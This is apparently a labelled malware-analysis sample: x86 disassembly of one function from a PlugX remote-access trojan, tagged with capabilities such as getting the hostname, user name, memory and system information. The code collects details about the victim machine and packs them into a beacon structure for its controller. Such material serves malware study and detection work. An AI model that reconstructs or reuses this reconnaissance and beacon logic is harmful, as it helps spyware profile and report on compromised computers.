Function at 0x1000b310
Capabilities:
Get hostname
Get memory capacity
Get session user name
Get system information on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1dc
mov eax, ecx
push ebx
push esi
push edi
cmp dword [eax + 0x13c], 0
mov dword [ebp - 0x14], eax
je 0x1000b331
mov eax, 0xff
jmp 0x1000b337
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x4c]
mov esi, dword [ebp + 0xc]
lea ecx, [ebp - 0x34]
push 0x1000
mov dword [esi + 0x7c], eax
call fcn.10006420
mov eax, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x1000b37d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test esi, esi
je 0x1000b379
push 1
push esi
call fcn.10027bcc
add esp, 8
xor ebx, ebx
jmp 0x1000b3d4
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
add edi, edi
lea ecx, [edi + 2]
push ecx
call fcn.10027bda
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x1000b3b0
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
lea edi, [ebx + 8]
jmp 0x1000b3c5
push edi
mov edx, esi
mov word [ebx + edi], 0
mov ecx, ebx
call fcn.1002427e
add esp, 4
xor edi, edi
test esi, esi
je 0x1000b3d4
push 1
push esi
call fcn.10027bcc
add esp, 8
test edi, edi
je 0x1000b3ec
push 0
mov edx, 0x25c
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXOnline.cpp
call fcn.10024152
add esp, 4
push 0x1000
lea ecx, [ebp - 0x34]
call fcn.10006420
mov eax, dword [ebp - 0x34]
mov esi, dword [ebp - 0x30]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
jne 0x1000b431
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test esi, esi
je 0x1000b428
push 1
push esi
call fcn.10027bcc
add esp, 8
mov dword [ebp - 4], 0
jmp 0x1000b48b
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
add edi, edi
lea ecx, [edi + 2]
push ecx
call fcn.10027bda
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000b467
push eax
lea edx, [eax + 0x40]
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXBuffer.cpp
call fcn.10024152
add esp, 4
mov edi, 8
jmp 0x1000b47c
push edi
mov edx, esi
mov word [eax + edi], 0
mov ecx, eax
call fcn.1002427e
add esp, 4
xor edi, edi
test esi, esi
je 0x1000b48b
push 1
push esi
call fcn.10027bcc
add esp, 8
test edi, edi
je 0x1000b4a3
push 0
mov edx, 0x261
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXOnline.cpp
call fcn.10024152
add esp, 4
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 8]
push eax
push 4
mov edx, str.HARDWAREDESCRIPTIONSYSTEMCENTRALPROCESSOR0
mov ecx, reloc.ODBC32.dll_SQLAllocEnv
lea esi, [edi + 0x20]
push esi
push str.MHZ
call fcn.1001ba20
add esp, 0x10
test eax, eax
je 0x1000b4e5
push 0
mov edx, 0x266
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXOnline.cpp
call fcn.10024152
add esp, 4
mov dword [esi], 0
cmp dword [0x1003107c], 0
lea esi, [edi + 0x60]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
jne 0x1000b514
push str.IsWow64Process
push str.kernel32
call eax
push eax
call edi
mov dword [0x1003107c], eax
test eax, eax
je 0x1000b526
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [0x1003107c]
test eax, eax
jne 0x1000b52c
mov dword [esi], 0
mov esi, dword [ebp + 0xc]
lea ecx, [esi + 0x64]
call fcn.1001b6b0
test eax, eax
je 0x1000b542
mov dword [esi + 0x64], 1
lea ecx, [esi + 0x68]
call fcn.1001b810
test eax, eax
je 0x1000b555
mov dword [esi + 0x68], 0
lea ecx, [esi + 0x6c]
call fcn.1001b980
test eax, eax
je 0x1000b568
mov dword [esi + 0x6c], 0
mov ecx, esi
lea eax, [ecx + 0x18]
mov dword [eax], 0
push eax
mov eax, dword [ebp + 8]
mov dword [ecx + 0x14], 0
push eax
mov eax, dword [eax]
call eax
test eax, eax
je 0x1000b59b
push 0
mov edx, 0x282
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXOnline.cpp
call fcn.10024152
add esp, 4
lea eax, [ebp - 0x78]
mov dword [ebp - 0xb8], 0x40
push eax
mov dword [ebp - 0x78], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov eax, dword [0x10030f9c]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x1000b5dd
push str.GlobalMemoryStatusEx
push str.kernel32
call esi
push eax
call edi
mov dword [0x10030f9c], eax
test eax, eax
je 0x1000b5fc
lea ecx, [ebp - 0xb8]
push ecx
call eax
test eax, eax
je 0x1000b5fc
mov ecx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xac]
shrd ecx, eax, 0xa
jmp 0x1000b602
mov ecx, dword [ebp - 0x70]
shr ecx, 0xa
mov eax, dword [ebp + 0xc]
mov dword [eax + 0x1c], ecx
lea eax, [ebp - 0x1d8]
push eax
mov dword [ebp - 0x1d8], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x1000b636
push eax
mov edx, 0x2a7
mov ecx, str.F:PersonalC2PlugX_6.0_mainPlug6.0_360__RsTray__xyzreg__7.0_ShellcodeShellcodeXOnline.cpp
call fcn.10024152
add esp, 4
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x1cc]
mov dword [ecx + 0x50], eax
mov eax, dword [ebp - 0x1d4]
mov dword [ecx + 0x48], eax
mov eax, dword [ebp - 0x1d0]
mov dword [ecx + 0x4c], eax
mov eax, dword [ebp - 0x1c8]
mov dword [ecx + 0x54], eax
movzx eax, byte [ebp - 0xbe]
mov word [ecx + 0x5e], ax
movzx eax, word [ebp - 0xc4]
mov word [ecx + 0x58], ax
movzx eax, word [ebp - 0xc2]
mov word [ecx + 0x5a], ax
movzx eax, word [ebp - 0xc0]
mov word [ecx + 0x5c], ax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, dword [ebp + 0xc]
movzx eax, word [ebp - 0x24]
mov word [ecx + 0x70], ax
movzx eax, word [ebp - 0x22]
mov word [ecx + 0x72], ax
movzx eax, word [ebp - 0x1e]
mov word [ecx + 0x74], ax
movzx eax, word [ebp - 0x1c]
mov word [ecx + 0x76], ax
movzx eax, word [ebp - 0x1a]
mov word [ecx + 0x78], ax
movzx eax, word [ebp - 0x18]
mov word [ecx + 0x7a], ax
mov eax, dword [0x10030f98]
test eax, eax
jne 0x1000b6f3
push str.GetNativeSystemInfo
push str.kernel32
call esi
push eax
call edi
mov dword [0x10030f98], eax
test eax, eax
jne 0x1000b6f3
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
jmp 0x1000b6f9
lea ecx, [ebp - 0x58]
push ecx
call eax
mov edi, dword [ebp + 0xc]
mov eax, dword [ebp - 0x44]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
mov dword [edi + 0x3c], eax
movzx eax, word [ebp - 0x58]
mov dword [edi + 0x38], eax
mov eax, dword [ebp - 0x40]
mov dword [edi + 0x40], eax
mov dword [0x10030f94], 0
mov dword [edi + 0x44], 0
mov dword [edi + 0x10], 0x20120123
call esi
push 1
mov dword [edi + 0x24], eax
call esi
push 0x59
mov dword [edi + 0x28], eax
call esi
mov dword [edi + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
mov dword [edi + 0x30], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [edi + 0x34], eax
mov eax, 0x78
mov word [edi + 0x80], ax
mov eax, dword [ebp - 0x14]
add eax, 8
push eax
lea eax, [edi + 0x88]
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
push 0x10028d78
push eax
call edi
add esp, 0xc
lea esi, [eax*2 + 0x7a]
mov eax, dword [ebp + 0xc]
push dword [ebp - 4]
push 0x10028d78
mov word [eax + 0x84], si
add eax, 0x10
add eax, esi
push eax
call edi
add esp, 0xc
lea esi, [esi + eax*2]
mov eax, dword [ebp + 0xc]
add esi, 2
push ebx
push 0x10028d78
mov word [eax + 0x82], si
add eax, 0x10
add eax, esi
push eax
call edi
add esp, 0xc
lea ecx, [ebp - 0x1c4]
lea esi, [esi + eax*2]
mov eax, dword [ebp + 0xc]
add esi, 2
push ecx
push 0x10028d78
mov word [eax + 0x86], si
add eax, 0x10
add eax, esi
push eax
call edi
mov ecx, dword [ebp + 0xc]
add esp, 0xc
add esi, 2
push 0x7530
lea eax, [esi + eax*2]
mov dword [ecx], 0x20120123
mov dword [ecx + 4], 1
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], 0
push ecx
mov ecx, dword [ebp + 8]
call fcn.1001eb30
mov esi, eax
mov eax, dword [ebp - 4]
test eax, eax
je 0x1000b82c
push 1
push eax
call fcn.10027bcc
add esp, 8
test ebx, ebx
je 0x1000b83b
push 1
push ebx
call fcn.10027bcc
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8